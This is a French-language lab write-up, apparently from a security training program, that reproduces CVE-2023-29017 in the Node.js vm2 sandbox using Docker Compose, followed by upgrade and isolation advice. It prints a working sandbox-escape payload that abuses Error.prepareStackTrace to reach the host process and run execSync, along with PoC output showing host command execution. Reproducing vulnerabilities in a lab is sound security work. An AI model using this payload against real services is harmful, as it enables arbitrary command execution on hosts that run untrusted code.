
Node.js vm2 CVE-2023-29017 reproduction avec Docker Compose et PoC
[WHS 4ème année 31ème classe] - 김건우(@gunwoo105)
vm2 est une bibliothèque de sandbox Node.js permettant d'exécuter du JavaScript non fiable dans un environnement restreint. Normalement, le code à l'intérieur du sandbox ne doit pas pouvoir accéder aux fonctionnalités sensibles de Node.js telles que process, require, child_process et le système de fichiers hôte.
Cependant, dans vm2 3.9.14 et versions antérieures, lorsque des erreurs asynchrones non gérées se produisent, les objets hôtes passés à Error.prepareStackTrace ne sont pas traités en toute sécurité. Un attaquant peut exploiter la chaîne de constructeurs de cet objet pour obtenir le constructeur Function du contexte hôte et l'objet process, et finalement exécuter des commandes système via child_process.
Au lieu d'utiliser une image finale vulnérable, nous construisons directement l'image à partir de l'image de base officielle Node.js et du code source inclus dans le dépôt. Le Dockerfile vérifie les versions de Node.js et vm2 ; si les versions ne correspondent pas aux attentes, la construction échoue.
RUN test "$(node --version)" = "v18.15.0" \
&& test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
La raison pour laquelle worker.js est exécuté dans un processus séparé est que le PoC provoque des erreurs asynchrones non gérées. Même si le worker se termine pendant l'attaque, le serveur web continue de fonctionner, et le fichier marqueur permet de vérifier de manière fiable le succès.
Toutes les conditions suivantes doivent être remplies.
vm2 3.9.14 ou une version antérieure.Tous les services avec vm2 installé ne sont pas automatiquement exposés à une attaque à distance. Il doit exister une fonctionnalité permettant d'exécuter du code contrôlé par l'attaquant dans vm2. L'endpoint /execute de cet exercice implémente ce cas d'utilisation de manière minimale.
Le déroulement de l'attaque est le suivant :
JavaScript malveillant transmis
│
▼
Erreur asynchrone non gérée déclenchée
│
▼
Appel à Error.prepareStackTrace
│
▼
Exposition de l'objet frames hôte
│
▼
Obtention du constructeur Function hôte
│
▼
process → require → child_process
│
▼
Exécution de commande OS à l'intérieur du conteneur
docker compose build --no-cache

docker compose up -d vulnerable
Vérifiez l'état du conteneur.
docker compose ps
curl -sS \
-w '\nHTTP_STATUS=%{http_code}\n' \
<http://127.0.0.1:3000/health>

docker compose run --rm poc
echo "exit_code=$?"
Le PoC vérifie automatiquement les éléments suivants :
/tmp/vm2-pwneduid=Pour exécuter de la construction au PoC en une seule fois, utilisez la commande suivante :
docker compose up \
--build \
--abort-on-container-exit \
--exit-code-from poc
docker compose exec vulnerable sh -c '
echo "[Marker file]"
ls -l /tmp/vm2-pwned
echo
echo "[Command output]"
cat /tmp/vm2-pwned
'
docker compose down -v --rmi local --remove-orphans
Le PoC complet est inclus dans poc/poc.js. Le payload principal est le suivant :
Error.prepareStackTrace = (error, frames) => {
const hostProcess =
frames.constructor.constructor('return process')();
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
};
(async () => {}).constructor('return process')();
Error.prepareStackTraceError.prepareStackTrace = (error, frames) => {
L'attaquant redéfinit la fonction exécutée lorsque la pile d'appels d'erreur est générée.
Function hôteframes.constructor.constructor
Il suit la chaîne de constructeurs de l'objet frames hôte exposé par vm2 vulnérable pour accéder au constructeur Function du contexte hôte.
process hôteframes.constructor.constructor('return process')();
Crée et exécute une fonction qui retourne process dans le contexte hôte.
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
Charge child_process (non fourni à l'intérieur du sandbox) et exécute la commande Linux id.
(async () => {}).constructor('return process')();
Fait en sorte qu'une fonction asynchrone référence process (indisponible dans le sandbox), créant ainsi une promesse rejetée qui atteint le chemin de traitement de pile d'appels vulnérable.
[2/4] Running benign JavaScript inside vm2
Normal JavaScript returned 42 without host command execution
[3/4] Sending CVE-2023-29017 payload
Host command output: uid=1000(node) gid=1000(node) groups=1000(node)
Le PoC vérifie à nouveau la preuve stockée puis retourne l'état de succès.
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

En vérifiant directement le fichier de preuve, on obtient le résultat suivant :

Le fichier marqueur est supprimé avant chaque exécution et n'est pas créé lors de l'exécution du code normal. Cela évite les faux positifs dus aux résultats d'exécutions précédentes.
Mettez à jour vers une version non affectée.
{
"dependencies": {
"vm2": "3.9.15"
}
}
Ensuite, mettez à jour le fichier de verrouillage et installez avec les dépendances fixées.
npm install --package-lock-only
npm ci
L'avis officiel indique qu'il n'existe pas de contournement, il est donc déconseillé de continuer à utiliser une version vulnérable.
N'exécutez pas de code non fiable dans le même processus Node.js que l'application. Isolez-le dans un processus, un conteneur ou une machine virtuelle séparé, et jetez l'environnement après exécution.
no-new-privilegesAppliquez une authentification et une autorisation fortes pour la fonctionnalité d'exécution de code, et n'exploitez pas d'API d'exécution de code arbitraire ouverte à des utilisateurs non spécifiques. Cependant, l'authentification est une mesure auxiliaire pour réduire la surface d'attaque et ne constitue pas un substitut à la correction de la vulnérabilité elle-même.
| Composant | Version et configuration |
|---|
| Node.js | 18.15.0 |
| vm2 | 3.9.14 |
| Version corrigée | 3.9.15 |
| Environnement d'exécution | Docker Compose |
| Utilisateur du conteneur | node |
| Port du service | 127.0.0.1:3000 |
| Installation des paquets | npm ci + package-lock.json |
| Fichier | Rôle |
|---|
docker-compose.yml | Définit la configuration et l'ordre d'exécution du service vulnérable et du conteneur PoC |
Dockerfile | Construit les images du service vulnérable et du PoC en mode multi-stage |
vulnerable/src/server.js | Fournit les endpoints /health, /execute, /evidence |
vulnerable/src/worker.js | Exécute l'entrée utilisateur dans vm2 dans un processus séparé |
poc/poc.js | Automatise la vérification de version, le contrôle bénin, l'attaque et la confirmation de preuve |
vulnerable/package-lock.json | Fixe les versions des paquets, y compris les dépendances transitives |